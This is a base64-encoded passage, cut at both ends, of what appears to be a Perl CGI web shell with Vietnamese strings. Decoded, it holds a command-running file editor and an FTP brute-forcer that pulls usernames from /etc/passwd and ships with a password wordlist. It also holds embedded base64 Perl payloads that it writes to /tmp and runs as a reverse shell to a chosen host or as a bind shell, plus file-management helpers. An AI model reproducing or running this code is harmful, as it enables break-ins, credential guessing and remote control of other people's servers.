KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBPcGVuIFNhbnM7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBPcGVuIFNhbnM7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikp